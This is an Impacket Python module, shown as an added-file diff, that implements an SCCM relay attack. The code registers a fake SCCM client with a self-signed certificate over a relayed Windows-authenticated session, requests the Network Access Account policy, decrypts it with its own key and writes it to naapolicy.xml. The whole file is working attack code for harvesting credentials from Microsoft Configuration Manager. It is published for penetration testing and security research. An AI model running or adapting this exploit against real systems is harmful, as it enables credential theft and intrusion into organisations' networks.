1+ # Impacket - Collection of Python classes for working with network protocols.
2+ #
3+ # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
4+ #
5+ # This software is provided under a slightly modified version
6+ # of the Apache Software License. See the accompanying LICENSE file
7+ # for more information.
8+ #
9+ # Description:
10+ # SCCM relay attack
11+ # Credits go to @_xpn_, attack code is pulled from his SCCMWTF repository (https://github.com/xpn/sccmwtf)
12+ #
13+ # Authors:
14+ # Tw1sm (@Tw1sm)
15+
16+
17+ import datetime
18+ import zlib
19+ import requests
20+ import re
21+ import time
22+ from pyasn1 .codec .der .decoder import decode
23+ from pyasn1_modules import rfc5652
24+ from cryptography .hazmat .primitives import serialization
25+ from cryptography .hazmat .primitives .serialization import PublicFormat
26+ from cryptography .hazmat .primitives .asymmetric import rsa
27+ from cryptography .hazmat .primitives .asymmetric .padding import PKCS1v15
28+ from cryptography .hazmat .primitives .ciphers import Cipher , algorithms , modes
29+ from cryptography import x509
30+ from cryptography .x509 .oid import NameOID
31+ from cryptography .hazmat .primitives import hashes
32+ from cryptography .x509 import ObjectIdentifier
33+ from requests_toolbelt .multipart import decoder
34+ from impacket import LOG
35+
36+
37+ class SCCMAttack :
38+ dateFormat = "%Y-%m-%dT%H:%M:%SZ"
39+
40+ now = datetime .datetime .utcnow ()
41+
42+ # Huge thanks to @_Mayyhem with SharpSCCM for making requesting these easy!
43+ registrationRequestWrapper = "<ClientRegistrationRequest>{data}<Signature><SignatureValue>{signature}</SignatureValue></Signature></ClientRegistrationRequest>\x00 "
44+ registrationRequest = """<Data HashAlgorithm="1.2.840.113549.1.1.11" SMSID="" RequestType="Registration" TimeStamp="{date}"><AgentInformation AgentIdentity="CCMSetup.exe" AgentVersion="5.00.8325.0000" AgentType="0" /><Certificates><Encryption Encoding="HexBinary" KeyType="1">{encryption}</Encryption><Signing Encoding="HexBinary" KeyType="1">{signature}</Signing></Certificates><DiscoveryProperties><Property Name="Netbios Name" Value="{client}" /><Property Name="FQ Name" Value="{clientfqdn}" /><Property Name="Locale ID" Value="2057" /><Property Name="InternetFlag" Value="0" /></DiscoveryProperties></Data>"""
45+ msgHeader = """<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>"""
46+ msgHeaderPolicy = """<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook2 Name="clientauth"><Property Name="AuthSenderMachine">{client}</Property><Property Name="PublicKey">{publickey}</Property><Property Name="ClientIDSignature">{clientIDsignature}</Property><Property Name="PayloadSignature">{payloadsignature}</Property><Property Name="ClientCapabilities">NonSSL</Property><Property Name="HashAlgorithm">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name="zlib-compress" /></Hooks><ID>{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceID>GUID:{clientid}</SourceID><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>"""
47+ policyBody = """<RequestAssignments SchemaVersion="1.00" ACK="false" RequestType="Always"><Identification><Machine><ClientID>GUID:{clientid}</ClientID><FQDN>{clientfqdn}</FQDN><NetBIOSName>{client}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:PRI</PolicySource><Resource ResourceType="Machine" /><ServerCookie /></RequestAssignments>"""
48+ # reportBody = """<Report><ReportHeader><Identification><Machine><ClientInstalled>0</ClientInstalled><ClientType>1</ClientType><ClientID>GUID:{clientid}</ClientID><ClientVersion>5.00.8325.0000</ClientVersion><NetBIOSName>{client}</NetBIOSName><CodePage>850</CodePage><SystemDefaultLCID>2057</SystemDefaultLCID><Priority /></Machine></Identification><ReportDetails><ReportContent>Inventory Data</ReportContent><ReportType>Full</ReportType><Date>{date}</Date><Version>1.0</Version><Format>1.1</Format></ReportDetails><InventoryAction ActionType="Predefined"><InventoryActionID>{{00000000-0000-0000-0000-000000000003}}</InventoryActionID><Description>Discovery</Description><InventoryActionLastUpdateTime>{date}</InventoryActionLastUpdateTime></InventoryAction></ReportHeader><ReportBody /></Report>"""
49+
50+
51+ def _run (self ):
52+ LOG .info ("Creating certificate for our fake server..." )
53+ self .createCertificate (True )
54+
55+ LOG .info ("Registering our fake server..." )
56+ uuid = self .sendRegistration (self .config .sccm_device , self .config .sccm_fqdn )
57+
58+ LOG .info (f"Done.. our ID is { uuid } " )
59+
60+ # If too quick, SCCM requests fail (DB error, jank!)
61+ LOG .info (f"Sleeping { self .config .sccm_sleep } seconds to allow SCCM server time to process..." )
62+ time .sleep (self .config .sccm_sleep )
63+
64+ target_fqdn = f"{ self .config .sccm_device } .{ self .config .sccm_fqdn } "
65+ LOG .info ("Requesting NAAPolicy..." )
66+ urls = self .sendPolicyRequest (self .config .sccm_device , target_fqdn , uuid , self .config .sccm_device , target_fqdn , uuid )
67+
68+ LOG .info ("Parsing policy..." )
69+
70+ for url in urls :
71+ result = self .requestPolicy (url )
72+ if result .startswith ("<HTML>" ):
73+ result = self .requestPolicy (url , uuid , True , True )
74+ decryptedResult = self .parseEncryptedPolicy (result )
75+ Tools .write_to_file (decryptedResult , "naapolicy.xml" )
76+
77+ LOG .info ("Decrypted policy dumped to naapolicy.xml" )
78+
79+
80+ def sendCCMPostRequest (self , data , auth = False ):
81+ headers = {
82+ "Connection" : "close" ,
83+ "User-Agent" : "ConfigMgr Messaging HTTP Sender" ,
84+ "Content-Type" : "multipart/mixed; boundary=\" aAbBcCdDv1234567890VxXyYzZ\" "
85+ }
86+
87+ if auth :
88+ self .client .request ("CCM_POST" , "/ccm_system_windowsauth/request" , headers = headers , body = data )
89+ r = self .client .getresponse ()
90+ content = r .read ()
91+ else :
92+ tried = 0
93+ while True :
94+ if tried < 10 :
95+ self .client .request ("CCM_POST" , "/ccm_system/request" , headers = headers , body = data )
96+ r = self .client .getresponse ()
97+ content = r .read ()
98+ tried += 1
99+ if content == b'' :
100+ LOG .info ("Policy request appears to have failed, resending in 5 seconds" )
101+ time .sleep (5 )
102+ else :
103+ break
104+ else :
105+ LOG .info ("Policy request failed 10 times, exiting" )
106+ exit ()
107+
108+ multipart_data = decoder .MultipartDecoder (content , r .getheader ("Content-Type" ))
109+ for part in multipart_data .parts :
110+ if part .headers [b'content-type' ] == b'application/octet-stream' :
111+ return zlib .decompress (part .content ).decode ('utf-16' )
112+
113+
114+ def requestPolicy (self , url , clientID = "" , authHeaders = False , retcontent = False ):
115+ headers = {
116+ "Connection" : "close" ,
117+ "User-Agent" : "ConfigMgr Messaging HTTP Sender"
118+ }
119+
120+ if authHeaders == True :
121+ headers ["ClientToken" ] = "GUID:{};{};2" .format (
122+ clientID ,
123+ SCCMAttack .now .strftime (SCCMAttack .dateFormat )
124+ )
125+ headers ["ClientTokenSignature" ] = CryptoTools .signNoHash (self .key , "GUID:{};{};2" .format (clientID , SCCMAttack .now .strftime (SCCMAttack .dateFormat )).encode ('utf-16' )[2 :] + "\x00 \x00 " .encode ('ascii' )).hex ().upper ()
126+
127+ self .client .request ("GET" , url , headers = headers )
128+ r = self .client .getresponse ()
129+ content = r .read ()
130+ if retcontent == True :
131+ return content
132+ else :
133+ return content .decode ()
134+
135+
136+ def createCertificate (self , writeToTmp = False ):
137+ self .key = CryptoTools .generateRSAKey ()
138+ self .cert = CryptoTools .createCertificateForKey (self .key , u"ConfigMgr Client" )
139+
140+ if writeToTmp :
141+ with open ("/tmp/key.pem" , "wb" ) as f :
142+ f .write (self .key .private_bytes (
143+ encoding = serialization .Encoding .PEM ,
144+ format = serialization .PrivateFormat .TraditionalOpenSSL ,
145+ encryption_algorithm = serialization .BestAvailableEncryption (b"mimikatz" ),
146+ ))
147+
148+ with open ("/tmp/certificate.pem" , "wb" ) as f :
149+ f .write (self .cert .public_bytes (serialization .Encoding .PEM ))
150+
151+
152+ def sendRegistration (self , name , fqname ):
153+ b = self .cert .public_bytes (serialization .Encoding .DER ).hex ().upper ()
154+
155+ embedded = SCCMAttack .registrationRequest .format (
156+ date = SCCMAttack .now .strftime (SCCMAttack .dateFormat ),
157+ encryption = b ,
158+ signature = b ,
159+ client = name ,
160+ clientfqdn = fqname
161+ )
162+
163+ signature = CryptoTools .sign (self .key , Tools .encode_unicode (embedded )).hex ().upper ()
164+ request = Tools .encode_unicode (SCCMAttack .registrationRequestWrapper .format (data = embedded , signature = signature )) + "\r \n " .encode ('ascii' )
165+
166+ header = SCCMAttack .msgHeader .format (
167+ bodylength = len (request )- 2 ,
168+ client = name ,
169+ date = SCCMAttack .now .strftime (SCCMAttack .dateFormat ),
170+ sccmserver = self .config .sccm_server
171+ )
172+
173+ data = "--aAbBcCdDv1234567890VxXyYzZ\r \n content-type: text/plain; charset=UTF-16\r \n \r \n " .encode ('ascii' ) + header .encode ('utf-16' ) + "\r \n --aAbBcCdDv1234567890VxXyYzZ\r \n content-type: application/octet-stream\r \n \r \n " .encode ('ascii' ) + zlib .compress (request ) + "\r \n --aAbBcCdDv1234567890VxXyYzZ--" .encode ('ascii' )
174+
175+ deflatedData = self .sendCCMPostRequest (data , True )
176+ r = re .findall ("SMSID=\" GUID:([^\" ]+)\" " , deflatedData )
177+ if r != None :
178+ return r [0 ]
179+
180+ return None
181+
182+ def sendPolicyRequest (self , name , fqname , uuid , targetName , targetFQDN , targetUUID ):
183+ body = Tools .encode_unicode (SCCMAttack .policyBody .format (clientid = targetUUID , clientfqdn = targetFQDN , client = targetName )) + b"\x00 \x00 \r \n "
184+ payloadCompressed = zlib .compress (body )
185+
186+ bodyCompressed = zlib .compress (body )
187+ public_key = CryptoTools .buildMSPublicKeyBlob (self .key )
188+ clientID = f"GUID:{ uuid .upper ()} "
189+ clientIDSignature = CryptoTools .sign (self .key , Tools .encode_unicode (clientID ) + "\x00 \x00 " .encode ('ascii' )).hex ().upper ()
190+ payloadSignature = CryptoTools .sign (self .key , bodyCompressed ).hex ().upper ()
191+
192+ header = SCCMAttack .msgHeaderPolicy .format (
193+ bodylength = len (body )- 2 ,
194+ sccmserver = self .config .sccm_server ,
195+ client = name ,
196+ publickey = public_key ,
197+ clientIDsignature = clientIDSignature ,
198+ payloadsignature = payloadSignature ,
199+ clientid = uuid ,
200+ date = SCCMAttack .now .strftime (SCCMAttack .dateFormat )
201+ )
202+
203+ data = "--aAbBcCdDv1234567890VxXyYzZ\r \n content-type: text/plain; charset=UTF-16\r \n \r \n " .encode ('ascii' ) + header .encode ('utf-16' ) + "\r \n --aAbBcCdDv1234567890VxXyYzZ\r \n content-type: application/octet-stream\r \n \r \n " .encode ('ascii' ) + bodyCompressed + "\r \n --aAbBcCdDv1234567890VxXyYzZ--" .encode ('ascii' )
204+
205+ deflatedData = self .sendCCMPostRequest (data )
206+ result = re .search ("PolicyCategory=\" NAAConfig\" .*?<!\[CDATA\[https*://<mp>([^]]+)" , deflatedData , re .DOTALL + re .MULTILINE )
207+ #r = re.findall("http://<mp>(/SMS_MP/.sms_pol?[^\]]+)", deflatedData)
208+ return [result .group (1 )]
209+
210+ def parseEncryptedPolicy (self , result ):
211+ # Man.. asn1 suxx!
212+ content , rest = decode (result , asn1Spec = rfc5652 .ContentInfo ())
213+ content , rest = decode (content .getComponentByName ('content' ), asn1Spec = rfc5652 .EnvelopedData ())
214+ encryptedRSAKey = content ['recipientInfos' ][0 ]['ktri' ]['encryptedKey' ].asOctets ()
215+ iv = content ['encryptedContentInfo' ]['contentEncryptionAlgorithm' ]['parameters' ].asOctets ()[2 :]
216+ body = content ['encryptedContentInfo' ]['encryptedContent' ].asOctets ()
217+
218+ decrypted = CryptoTools .decrypt3Des (self .key , encryptedRSAKey , iv , body )
219+ policy = decrypted .decode ('utf-16' )
220+ return policy
221+
222+
223+ class Tools :
224+ @staticmethod
225+ def encode_unicode (input ):
226+ # Remove the BOM
227+ return input .encode ('utf-16' )[2 :]
228+
229+ @staticmethod
230+ def write_to_file (input , file ):
231+ with open (file , "w" ) as fd :
232+ fd .write (input )
233+
234+
235+ class CryptoTools :
236+ @staticmethod
237+ def createCertificateForKey (key , cname ):
238+ subject = issuer = x509 .Name ([
239+ x509 .NameAttribute (NameOID .COMMON_NAME , cname ),
240+ ])
241+ cert = x509 .CertificateBuilder ().subject_name (
242+ subject
243+ ).issuer_name (
244+ issuer
245+ ).public_key (
246+ key .public_key ()
247+ ).serial_number (
248+ x509 .random_serial_number ()
249+ ).not_valid_before (
250+ datetime .datetime .utcnow () - datetime .timedelta (days = 2 )
251+ ).not_valid_after (
252+ datetime .datetime .utcnow () + datetime .timedelta (days = 365 )
253+ ).add_extension (
254+ x509 .KeyUsage (digital_signature = True , key_encipherment = False , key_cert_sign = False ,
255+ key_agreement = False , content_commitment = False , data_encipherment = True ,
256+ crl_sign = False , encipher_only = False , decipher_only = False ),
257+ critical = False ,
258+ ).add_extension (
259+ # SMS Signing Certificate (Self-Signed)
260+ x509 .ExtendedKeyUsage ([ObjectIdentifier ("1.3.6.1.4.1.311.101.2" ), ObjectIdentifier ("1.3.6.1.4.1.311.101" )]),
261+ critical = False ,
262+ ).sign (key , hashes .SHA256 ())
263+
264+ return cert
265+
266+ @staticmethod
267+ def generateRSAKey ():
268+ key = rsa .generate_private_key (public_exponent = 65537 , key_size = 2048 )
269+ return key
270+
271+ @staticmethod
272+ def buildMSPublicKeyBlob (key ):
273+ # Built from spec: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb
274+ blobHeader = b"\x06 \x02 \x00 \x00 \x00 \xA4 \x00 \x00 \x52 \x53 \x41 \x31 \x00 \x08 \x00 \x00 \x01 \x00 \x01 \x00 "
275+ blob = blobHeader + key .public_key ().public_numbers ().n .to_bytes (int (key .key_size / 8 ), byteorder = "little" )
276+ return blob .hex ().upper ()
277+
278+ # Signs data using SHA256 and then reverses the byte order as per SCCM
279+ @staticmethod
280+ def sign (key , data ):
281+ signature = key .sign (data , PKCS1v15 (), hashes .SHA256 ())
282+ signature_rev = bytearray (signature )
283+ signature_rev .reverse ()
284+ return bytes (signature_rev )
285+
286+ # Same for now, but hints in code that some sigs need to have the hash type removed
287+ @staticmethod
288+ def signNoHash (key , data ):
289+ signature = key .sign (data , PKCS1v15 (), hashes .SHA256 ())
290+ signature_rev = bytearray (signature )
291+ signature_rev .reverse ()
292+ return bytes (signature_rev )
293+
294+ @staticmethod
295+ def decrypt (key , data ):
296+ print (key .decrypt (data , PKCS1v15 ()))
297+
298+ @staticmethod
299+ def decrypt3Des (key , encryptedKey , iv , data ):
300+ desKey = key .decrypt (encryptedKey , PKCS1v15 ())
301+
302+ cipher = Cipher (algorithms .TripleDES (desKey ), modes .CBC (iv ))
303+ decryptor = cipher .decryptor ()
304+ return decryptor .update (data ) + decryptor .finalize ()
0 commit comments